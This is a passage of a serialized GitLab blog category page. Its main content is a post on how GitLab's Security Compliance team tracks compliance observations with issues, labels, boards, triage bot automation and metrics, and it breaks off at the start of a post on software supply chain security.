[{"data":1,"prerenderedAt":5206},["ShallowReactive",2],{"/en-us/blog/categories/security/":3,"navigation-en-us":21,"banner-en-us":438,"footer-en-us":450,"security-category-page-en-us":661},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":12,"_id":15,"_type":16,"title":9,"_source":17,"_file":18,"_stem":19,"_extension":20},"/en-us/blog/categories/security","categories",false,"",{"title":9,"description":10},"Security","Browse articles related to Security on the GitLab Blog",{"name":9},{"template":13,"slug":14,"hide":6},"BlogCategory","security","content:en-us:blog:categories:security.yml","yaml","content","en-us/blog/categories/security.yml","en-us/blog/categories/security","yml",{"_path":22,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":24,"_id":434,"_type":16,"title":435,"_source":17,"_file":436,"_stem":437,"_extension":20},"/shared/en-us/main-navigation","en-us",{"logo":25,"freeTrial":30,"sales":35,"login":40,"items":45,"search":375,"minimal":406,"duo":425},{"config":26},{"href":27,"dataGaName":28,"dataGaLocation":29},"/","gitlab logo","header",{"text":31,"config":32},"Get free trial",{"href":33,"dataGaName":34,"dataGaLocation":29},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":36,"config":37},"Talk to sales",{"href":38,"dataGaName":39,"dataGaLocation":29},"/sales/","sales",{"text":41,"config":42},"Sign in",{"href":43,"dataGaName":44,"dataGaLocation":29},"https://gitlab.com/users/sign_in/","sign in",[46,90,185,190,296,356],{"text":47,"config":48,"cards":50,"footer":73},"Platform",{"dataNavLevelOne":49},"platform",[51,57,65],{"title":47,"description":52,"link":53},"The most comprehensive AI-powered DevSecOps Platform",{"text":54,"config":55},"Explore our Platform",{"href":56,"dataGaName":49,"dataGaLocation":29},"/platform/",{"title":58,"description":59,"link":60},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":61,"config":62},"Meet GitLab Duo",{"href":63,"dataGaName":64,"dataGaLocation":29},"/gitlab-duo/","gitlab duo ai",{"title":66,"description":67,"link":68},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":69,"config":70},"Learn more",{"href":71,"dataGaName":72,"dataGaLocation":29},"/why-gitlab/","why gitlab",{"title":74,"items":75},"Get started with",[76,81,86],{"text":77,"config":78},"Platform Engineering",{"href":79,"dataGaName":80,"dataGaLocation":29},"/solutions/platform-engineering/","platform engineering",{"text":82,"config":83},"Developer Experience",{"href":84,"dataGaName":85,"dataGaLocation":29},"/developer-experience/","Developer experience",{"text":87,"config":88},"MLOps",{"href":89,"dataGaName":87,"dataGaLocation":29},"/topics/devops/the-role-of-ai-in-devops/",{"text":91,"left":92,"config":93,"link":95,"lists":99,"footer":167},"Product",true,{"dataNavLevelOne":94},"solutions",{"text":96,"config":97},"View all Solutions",{"href":98,"dataGaName":94,"dataGaLocation":29},"/solutions/",[100,125,146],{"title":101,"description":102,"link":103,"items":108},"Automation","CI/CD and automation to accelerate deployment",{"config":104},{"icon":105,"href":106,"dataGaName":107,"dataGaLocation":29},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[109,113,117,121],{"text":110,"config":111},"CI/CD",{"href":112,"dataGaLocation":29,"dataGaName":110},"/solutions/continuous-integration/",{"text":114,"config":115},"AI-Assisted Development",{"href":63,"dataGaLocation":29,"dataGaName":116},"AI assisted development",{"text":118,"config":119},"Source Code Management",{"href":120,"dataGaLocation":29,"dataGaName":118},"/solutions/source-code-management/",{"text":122,"config":123},"Automated Software Delivery",{"href":106,"dataGaLocation":29,"dataGaName":124},"Automated software delivery",{"title":9,"description":126,"link":127,"items":132},"Deliver code faster without compromising security",{"config":128},{"href":129,"dataGaName":130,"dataGaLocation":29,"icon":131},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[133,136,141],{"text":134,"config":135},"Security & Compliance",{"href":129,"dataGaLocation":29,"dataGaName":134},{"text":137,"config":138},"Software Supply Chain Security",{"href":139,"dataGaLocation":29,"dataGaName":140},"/solutions/supply-chain/","Software supply chain security",{"text":142,"config":143},"Compliance & Governance",{"href":144,"dataGaLocation":29,"dataGaName":145},"/solutions/continuous-software-compliance/","Compliance and governance",{"title":147,"link":148,"items":153},"Measurement",{"config":149},{"icon":150,"href":151,"dataGaName":152,"dataGaLocation":29},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[154,158,162],{"text":155,"config":156},"Visibility & Measurement",{"href":151,"dataGaLocation":29,"dataGaName":157},"Visibility and Measurement",{"text":159,"config":160},"Value Stream Management",{"href":161,"dataGaLocation":29,"dataGaName":159},"/solutions/value-stream-management/",{"text":163,"config":164},"Analytics & Insights",{"href":165,"dataGaLocation":29,"dataGaName":166},"/solutions/analytics-and-insights/","Analytics and insights",{"title":168,"items":169},"GitLab for",[170,175,180],{"text":171,"config":172},"Enterprise",{"href":173,"dataGaLocation":29,"dataGaName":174},"/enterprise/","enterprise",{"text":176,"config":177},"Small Business",{"href":178,"dataGaLocation":29,"dataGaName":179},"/small-business/","small business",{"text":181,"config":182},"Public Sector",{"href":183,"dataGaLocation":29,"dataGaName":184},"/solutions/public-sector/","public sector",{"text":186,"config":187},"Pricing",{"href":188,"dataGaName":189,"dataGaLocation":29,"dataNavLevelOne":189},"/pricing/","pricing",{"text":191,"config":192,"link":194,"lists":198,"feature":283},"Resources",{"dataNavLevelOne":193},"resources",{"text":195,"config":196},"View all resources",{"href":197,"dataGaName":193,"dataGaLocation":29},"/resources/",[199,232,255],{"title":200,"items":201},"Getting started",[202,207,212,217,222,227],{"text":203,"config":204},"Install",{"href":205,"dataGaName":206,"dataGaLocation":29},"/install/","install",{"text":208,"config":209},"Quick start guides",{"href":210,"dataGaName":211,"dataGaLocation":29},"/get-started/","quick setup checklists",{"text":213,"config":214},"Learn",{"href":215,"dataGaLocation":29,"dataGaName":216},"https://university.gitlab.com/","learn",{"text":218,"config":219},"Product documentation",{"href":220,"dataGaName":221,"dataGaLocation":29},"https://docs.gitlab.com/","product documentation",{"text":223,"config":224},"Best practice videos",{"href":225,"dataGaName":226,"dataGaLocation":29},"/getting-started-videos/","best practice videos",{"text":228,"config":229},"Integrations",{"href":230,"dataGaName":231,"dataGaLocation":29},"/integrations/","integrations",{"title":233,"items":234},"Discover",[235,240,245,250],{"text":236,"config":237},"Customer success stories",{"href":238,"dataGaName":239,"dataGaLocation":29},"/customers/","customer success stories",{"text":241,"config":242},"Blog",{"href":243,"dataGaName":244,"dataGaLocation":29},"/blog/","blog",{"text":246,"config":247},"Remote",{"href":248,"dataGaName":249,"dataGaLocation":29},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":251,"config":252},"TeamOps",{"href":253,"dataGaName":254,"dataGaLocation":29},"/teamops/","teamops",{"title":256,"items":257},"Connect",[258,263,268,273,278],{"text":259,"config":260},"GitLab Services",{"href":261,"dataGaName":262,"dataGaLocation":29},"/services/","services",{"text":264,"config":265},"Community",{"href":266,"dataGaName":267,"dataGaLocation":29},"/community/","community",{"text":269,"config":270},"Forum",{"href":271,"dataGaName":272,"dataGaLocation":29},"https://forum.gitlab.com/","forum",{"text":274,"config":275},"Events",{"href":276,"dataGaName":277,"dataGaLocation":29},"/events/","events",{"text":279,"config":280},"Partners",{"href":281,"dataGaName":282,"dataGaLocation":29},"/partners/","partners",{"backgroundColor":284,"textColor":285,"text":286,"image":287,"link":291},"#2f2a6b","#fff","Insights for the future of software development",{"altText":288,"config":289},"the source promo card",{"src":290},"/images/navigation/the-source-promo-card.svg",{"text":292,"config":293},"Read the latest",{"href":294,"dataGaName":295,"dataGaLocation":29},"/the-source/","the source",{"text":297,"config":298,"lists":300},"Company",{"dataNavLevelOne":299},"company",[301],{"items":302},[303,308,314,316,321,326,331,336,341,346,351],{"text":304,"config":305},"About",{"href":306,"dataGaName":307,"dataGaLocation":29},"/company/","about",{"text":309,"config":310,"footerGa":313},"Jobs",{"href":311,"dataGaName":312,"dataGaLocation":29},"/jobs/","jobs",{"dataGaName":312},{"text":274,"config":315},{"href":276,"dataGaName":277,"dataGaLocation":29},{"text":317,"config":318},"Leadership",{"href":319,"dataGaName":320,"dataGaLocation":29},"/company/team/e-group/","leadership",{"text":322,"config":323},"Team",{"href":324,"dataGaName":325,"dataGaLocation":29},"/company/team/","team",{"text":327,"config":328},"Handbook",{"href":329,"dataGaName":330,"dataGaLocation":29},"https://handbook.gitlab.com/","handbook",{"text":332,"config":333},"Investor relations",{"href":334,"dataGaName":335,"dataGaLocation":29},"https://ir.gitlab.com/","investor relations",{"text":337,"config":338},"Trust Center",{"href":339,"dataGaName":340,"dataGaLocation":29},"/security/","trust center",{"text":342,"config":343},"AI Transparency Center",{"href":344,"dataGaName":345,"dataGaLocation":29},"/ai-transparency-center/","ai transparency center",{"text":347,"config":348},"Newsletter",{"href":349,"dataGaName":350,"dataGaLocation":29},"/company/contact/","newsletter",{"text":352,"config":353},"Press",{"href":354,"dataGaName":355,"dataGaLocation":29},"/press/","press",{"text":357,"config":358,"lists":359},"Contact us",{"dataNavLevelOne":299},[360],{"items":361},[362,365,370],{"text":36,"config":363},{"href":38,"dataGaName":364,"dataGaLocation":29},"talk to sales",{"text":366,"config":367},"Get help",{"href":368,"dataGaName":369,"dataGaLocation":29},"/support/","get help",{"text":371,"config":372},"Customer portal",{"href":373,"dataGaName":374,"dataGaLocation":29},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":376,"login":377,"suggestions":384},"Close",{"text":378,"link":379},"To search repositories and projects, login to",{"text":380,"config":381},"gitlab.com",{"href":43,"dataGaName":382,"dataGaLocation":383},"search login","search",{"text":385,"default":386},"Suggestions",[387,389,393,395,399,403],{"text":58,"config":388},{"href":63,"dataGaName":58,"dataGaLocation":383},{"text":390,"config":391},"Code Suggestions (AI)",{"href":392,"dataGaName":390,"dataGaLocation":383},"/solutions/code-suggestions/",{"text":110,"config":394},{"href":112,"dataGaName":110,"dataGaLocation":383},{"text":396,"config":397},"GitLab on AWS",{"href":398,"dataGaName":396,"dataGaLocation":383},"/partners/technology-partners/aws/",{"text":400,"config":401},"GitLab on Google Cloud",{"href":402,"dataGaName":400,"dataGaLocation":383},"/partners/technology-partners/google-cloud-platform/",{"text":404,"config":405},"Why GitLab?",{"href":71,"dataGaName":404,"dataGaLocation":383},{"freeTrial":407,"mobileIcon":412,"desktopIcon":417,"secondaryButton":420},{"text":408,"config":409},"Start free trial",{"href":410,"dataGaName":34,"dataGaLocation":411},"https://gitlab.com/-/trials/new/","nav",{"altText":413,"config":414},"Gitlab Icon",{"src":415,"dataGaName":416,"dataGaLocation":411},"/images/brand/gitlab-logo-tanuki.svg","gitlab icon",{"altText":413,"config":418},{"src":419,"dataGaName":416,"dataGaLocation":411},"/images/brand/gitlab-logo-type.svg",{"text":421,"config":422},"Get Started",{"href":423,"dataGaName":424,"dataGaLocation":411},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":426,"mobileIcon":430,"desktopIcon":432},{"text":427,"config":428},"Learn more about GitLab Duo",{"href":63,"dataGaName":429,"dataGaLocation":411},"gitlab duo",{"altText":413,"config":431},{"src":415,"dataGaName":416,"dataGaLocation":411},{"altText":413,"config":433},{"src":419,"dataGaName":416,"dataGaLocation":411},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":439,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"title":440,"button":441,"config":445,"_id":447,"_type":16,"_source":17,"_file":448,"_stem":449,"_extension":20},"/shared/en-us/banner","GitLab Duo Agent Platform is now in public beta!",{"text":69,"config":442},{"href":443,"dataGaName":444,"dataGaLocation":29},"/gitlab-duo/agent-platform/","duo banner",{"layout":446},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":451,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":452,"_id":657,"_type":16,"title":658,"_source":17,"_file":659,"_stem":660,"_extension":20},"/shared/en-us/main-footer",{"text":453,"source":454,"edit":460,"contribute":465,"config":470,"items":475,"minimal":649},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":455,"config":456},"View page source",{"href":457,"dataGaName":458,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":461,"config":462},"Edit this page",{"href":463,"dataGaName":464,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":466,"config":467},"Please contribute",{"href":468,"dataGaName":469,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":471,"facebook":472,"youtube":473,"linkedin":474},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[476,499,556,585,619],{"title":47,"links":477,"subMenu":482},[478],{"text":479,"config":480},"DevSecOps platform",{"href":56,"dataGaName":481,"dataGaLocation":459},"devsecops platform",[483],{"title":186,"links":484},[485,489,494],{"text":486,"config":487},"View plans",{"href":188,"dataGaName":488,"dataGaLocation":459},"view plans",{"text":490,"config":491},"Why Premium?",{"href":492,"dataGaName":493,"dataGaLocation":459},"/pricing/premium/","why premium",{"text":495,"config":496},"Why Ultimate?",{"href":497,"dataGaName":498,"dataGaLocation":459},"/pricing/ultimate/","why ultimate",{"title":500,"links":501},"Solutions",[502,507,510,512,517,522,526,529,533,538,540,543,546,551],{"text":503,"config":504},"Digital transformation",{"href":505,"dataGaName":506,"dataGaLocation":459},"/topics/digital-transformation/","digital transformation",{"text":134,"config":508},{"href":129,"dataGaName":509,"dataGaLocation":459},"security & compliance",{"text":124,"config":511},{"href":106,"dataGaName":107,"dataGaLocation":459},{"text":513,"config":514},"Agile development",{"href":515,"dataGaName":516,"dataGaLocation":459},"/solutions/agile-delivery/","agile delivery",{"text":518,"config":519},"Cloud transformation",{"href":520,"dataGaName":521,"dataGaLocation":459},"/topics/cloud-native/","cloud transformation",{"text":523,"config":524},"SCM",{"href":120,"dataGaName":525,"dataGaLocation":459},"source code management",{"text":110,"config":527},{"href":112,"dataGaName":528,"dataGaLocation":459},"continuous integration & delivery",{"text":530,"config":531},"Value stream management",{"href":161,"dataGaName":532,"dataGaLocation":459},"value stream management",{"text":534,"config":535},"GitOps",{"href":536,"dataGaName":537,"dataGaLocation":459},"/solutions/gitops/","gitops",{"text":171,"config":539},{"href":173,"dataGaName":174,"dataGaLocation":459},{"text":541,"config":542},"Small business",{"href":178,"dataGaName":179,"dataGaLocation":459},{"text":544,"config":545},"Public sector",{"href":183,"dataGaName":184,"dataGaLocation":459},{"text":547,"config":548},"Education",{"href":549,"dataGaName":550,"dataGaLocation":459},"/solutions/education/","education",{"text":552,"config":553},"Financial services",{"href":554,"dataGaName":555,"dataGaLocation":459},"/solutions/finance/","financial services",{"title":191,"links":557},[558,560,562,564,567,569,571,573,575,577,579,581,583],{"text":203,"config":559},{"href":205,"dataGaName":206,"dataGaLocation":459},{"text":208,"config":561},{"href":210,"dataGaName":211,"dataGaLocation":459},{"text":213,"config":563},{"href":215,"dataGaName":216,"dataGaLocation":459},{"text":218,"config":565},{"href":220,"dataGaName":566,"dataGaLocation":459},"docs",{"text":241,"config":568},{"href":243,"dataGaName":244,"dataGaLocation":459},{"text":236,"config":570},{"href":238,"dataGaName":239,"dataGaLocation":459},{"text":246,"config":572},{"href":248,"dataGaName":249,"dataGaLocation":459},{"text":259,"config":574},{"href":261,"dataGaName":262,"dataGaLocation":459},{"text":251,"config":576},{"href":253,"dataGaName":254,"dataGaLocation":459},{"text":264,"config":578},{"href":266,"dataGaName":267,"dataGaLocation":459},{"text":269,"config":580},{"href":271,"dataGaName":272,"dataGaLocation":459},{"text":274,"config":582},{"href":276,"dataGaName":277,"dataGaLocation":459},{"text":279,"config":584},{"href":281,"dataGaName":282,"dataGaLocation":459},{"title":297,"links":586},[587,589,591,593,595,597,599,603,608,610,612,614],{"text":304,"config":588},{"href":306,"dataGaName":299,"dataGaLocation":459},{"text":309,"config":590},{"href":311,"dataGaName":312,"dataGaLocation":459},{"text":317,"config":592},{"href":319,"dataGaName":320,"dataGaLocation":459},{"text":322,"config":594},{"href":324,"dataGaName":325,"dataGaLocation":459},{"text":327,"config":596},{"href":329,"dataGaName":330,"dataGaLocation":459},{"text":332,"config":598},{"href":334,"dataGaName":335,"dataGaLocation":459},{"text":600,"config":601},"Sustainability",{"href":602,"dataGaName":600,"dataGaLocation":459},"/sustainability/",{"text":604,"config":605},"Diversity, inclusion and belonging (DIB)",{"href":606,"dataGaName":607,"dataGaLocation":459},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":337,"config":609},{"href":339,"dataGaName":340,"dataGaLocation":459},{"text":347,"config":611},{"href":349,"dataGaName":350,"dataGaLocation":459},{"text":352,"config":613},{"href":354,"dataGaName":355,"dataGaLocation":459},{"text":615,"config":616},"Modern Slavery Transparency Statement",{"href":617,"dataGaName":618,"dataGaLocation":459},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":620,"links":621},"Contact Us",[622,625,627,629,634,639,644],{"text":623,"config":624},"Contact an expert",{"href":38,"dataGaName":39,"dataGaLocation":459},{"text":366,"config":626},{"href":368,"dataGaName":369,"dataGaLocation":459},{"text":371,"config":628},{"href":373,"dataGaName":374,"dataGaLocation":459},{"text":630,"config":631},"Status",{"href":632,"dataGaName":633,"dataGaLocation":459},"https://status.gitlab.com/","status",{"text":635,"config":636},"Terms of use",{"href":637,"dataGaName":638,"dataGaLocation":459},"/terms/","terms of use",{"text":640,"config":641},"Privacy statement",{"href":642,"dataGaName":643,"dataGaLocation":459},"/privacy/","privacy statement",{"text":645,"config":646},"Cookie preferences",{"dataGaName":647,"dataGaLocation":459,"id":648,"isOneTrustButton":92},"cookie preferences","ot-sdk-btn",{"items":650},[651,653,655],{"text":635,"config":652},{"href":637,"dataGaName":638,"dataGaLocation":459},{"text":640,"config":654},{"href":642,"dataGaName":643,"dataGaLocation":459},{"text":645,"config":656},{"dataGaName":647,"dataGaLocation":459,"id":648,"isOneTrustButton":92},"content:shared:en-us:main-footer.yml","Main Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",{"featuredPost":662,"allPosts":683,"totalPages":5204,"initialPosts":5205},{"_path":663,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":664,"content":668,"config":676,"_id":679,"_type":16,"title":680,"_source":17,"_file":681,"_stem":682,"_extension":20},"/en-us/blog/how-to-transform-compliance-observation-management-with-gitlab",{"config":665,"title":666,"description":667},{"noIndex":6},"How to transform compliance observation management with GitLab","Learn how GitLab's Security Compliance team improved observation management using the DevSecOps platform, enhancing visibility, collaboration, and accountability.",{"title":666,"description":667,"authors":669,"heroImage":671,"date":672,"body":673,"category":14,"tags":674},[670],"Madeline Lake","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-24","An observation is a compliance finding or deficiency identified during control monitoring. This is essentially a gap between what your security controls should be doing and what they're actually doing. Observations can stem from design deficiencies where the control isn't structured properly to meet requirements, operating effectiveness issues where the control exists but isn't working as intended, or evidence gaps where required documentation or proof of control execution is missing.\n\nThese observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.\n\nObservation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.\n\n## The GitLab observation lifecycle: From identification to resolution\n\nThe lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.\n\nHere are the stages of the observation lifecycle:\n\n**1. Identification**\n\n* Compliance engineers identify potential observations during quarterly monitoring.  \n* Initial validation occurs to confirm the finding represents a genuine control gap.  \n* Detailed documentation begins immediately in a GitLab issue.  \n* The root cause of the observation is determined and a remediation plan to address the root cause is established.\n\n**2. Validation**\n\n* Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).  \n* Remediation owner reviews and confirms they understand and accept ownership.  \n* The remediation plan is reviewed, prioritized, and updated collaboratively as needed.\n\n**3. In-progress**\n\n* Active remediation work begins with clear milestones and deadlines.  \n* Regular updates are provided through GitLab comments and status changes.  \n* Collaboration happens transparently where all stakeholders can see progress.\n\n**4. Remediated**\n\n* Remediation owner marks work complete and provides evidence.  \n* Issue transitions to compliance review for validation.\n\n**5. Resolution**\n\n* Compliance engineer verifies exit criteria are met.  \n* The issue is closed with final documentation.  \n* Lessons learned are captured for future prevention.\n\n**Alternative paths** handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows.\n![Example of observation lifecycle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\u003Ccenter>\u003Ci>Example of observation lifecycle\u003C/i>\u003C/center>\n\n## The power of transparency in GitLab\n\nEffective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.\n\nThe Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts. \n\nOur solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.\n\n### Smart organization through labels and issue boards\n\nGitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated`  \n* **Department:** `~dept::engineering`, `~dept::security`, `~dept::product`   \n* **Risk Severity:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low`  \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems`   \n* **Program:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nThese labels are then leveraged to create issue boards:\n\n* **Workflow boards** visualize the observation lifecycle stages.  \n* **Department boards** show each team's remediation workload.  \n* **Risk-based boards** prioritize critical findings requiring immediate attention.  \n* **System boards** visualize observations by system.  \n* **Program boards** track certification-specific observation resolution.\n\nLabels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.\n\n## Automation: Working smarter, not harder\n\nManaging dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the [triage bot](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage), which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation. \n\nWithin the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.\n\n## Measuring success: Key metrics and reporting\n\nGitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:\n\n**Resolution Efficiency Analysis:** Average time from identification to resolution by department and severity\n\nTrack issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.\n\n**Real-Time Risk Assessment:** Current risk profile based on open critical and high risk observations\n\nLeverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.\n\n**Strategic Resource Allocation:** Department-level risk distribution for targeted improvement efforts\n\nIdentify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.\n\n**Compliance Readiness Monitoring:** Certification-specific observation counts and resolution rates\n\nUtilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.\n\n**Accountability Tracking:** Overdue remediations \n\nMonitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.\n\n**Engagement Health Check:** Observation freshness\n\nTrack recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.\n\n## Advanced strategies: Taking observation management further\n\nHere's what you can do to deepen the impact of observation management in your organization.\n\n**Integrate with security tools** \n\nModern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage. \n\n**Apply predictive analytics** \n\nHistorical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.\n\n**Customize for stakeholders** \n\nEffective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.\n\n## Move from mere compliance to operational excellence\n\nGitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.\n\nThe results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.\n\nMost importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.\n\n> Want to learn more about GitLab's security compliance practices? Check out our [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) for additional insights and implementation guidance.",[14,675],"inside GitLab",{"featured":6,"template":677,"slug":678},"BlogPost","how-to-transform-compliance-observation-management-with-gitlab","content:en-us:blog:how-to-transform-compliance-observation-management-with-gitlab.yml","How To Transform Compliance Observation Management With Gitlab","en-us/blog/how-to-transform-compliance-observation-management-with-gitlab.yml","en-us/blog/how-to-transform-compliance-observation-management-with-gitlab",[684,703,722,740,760,783,805,825,846,866,886,906,925,944,965,984,1004,1023,1043,1065,1084,1102,1121,1140,1160,1179,1198,1219,1237,1258,1278,1300,1318,1336,1355,1375,1397,1416,1435,1457,1478,1497,1518,1539,1559,1581,1601,1621,1640,1660,1681,1701,1719,1740,1761,1782,1801,1822,1842,1860,1879,1900,1919,1939,1961,1981,2001,2020,2040,2060,2080,2100,2120,2139,2158,2177,2197,2216,2236,2254,2272,2294,2314,2332,2352,2371,2391,2411,2434,2454,2474,2493,2511,2531,2550,2568,2586,2606,2625,2644,2662,2681,2701,2720,2738,2758,2776,2794,2814,2835,2856,2874,2893,2911,2931,2950,2970,2989,3009,3029,3050,3070,3089,3109,3129,3148,3168,3188,3209,3228,3248,3267,3286,3305,3326,3347,3366,3386,3405,3424,3444,3463,3484,3502,3522,3540,3559,3577,3600,3620,3639,3659,3677,3696,3715,3737,3755,3775,3795,3819,3839,3857,3876,3895,3912,3931,3949,3972,3991,4011,4030,4050,4070,4089,4107,4126,4145,4165,4184,4204,4223,4242,4260,4279,4297,4318,4339,4358,4377,4396,4416,4435,4454,4473,4492,4513,4534,4553,4573,4592,4611,4629,4648,4668,4687,4706,4726,4745,4763,4783,4802,4821,4840,4860,4880,4899,4920,4939,4958,4979,4998,5016,5035,5053,5072,5091,5110,5129,5145,5164,5183],{"_path":685,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":686,"content":689,"config":697,"_id":699,"_type":16,"title":700,"_source":17,"_file":701,"_stem":702,"_extension":20},"/en-us/blog/software-supply-chain-security-guide-why-organizations-struggle",{"noIndex":6,"title":687,"description":688},"Software supply chain security guide: Why organizations struggle","Part 1 of this new series explores fundamental challenges, practical solutions, and emerging trends, including AI, that every development team needs to understand.",{"title":687,"description":688,"authors":690,"heroImage":692,"date":672,"body":693,"category":14,"tags":694},[691],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097701/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_1iy516k40hwBDChKcUJ2zb_1750097700983.png","Ask most development teams about supply chain security, and you'll get answers focused on vulnerability scanning or dependency management. While these are components of supply chain security, they represent a dangerously narrow view of a much broader challenge.\n\n**Supply chain security isn't just about scanning dependencies.** It encompasses the entire journey from code creation to production deployment, including:\n\n* **Source security:** protect code repositories, managing contributor access, ensuring code integrity  \n* **Build security:** secure build environments, preventing tampering during compilation and packaging  \n* **Artifact security:** ensure the integrity of containers, packages, and deployment artifacts  \n* 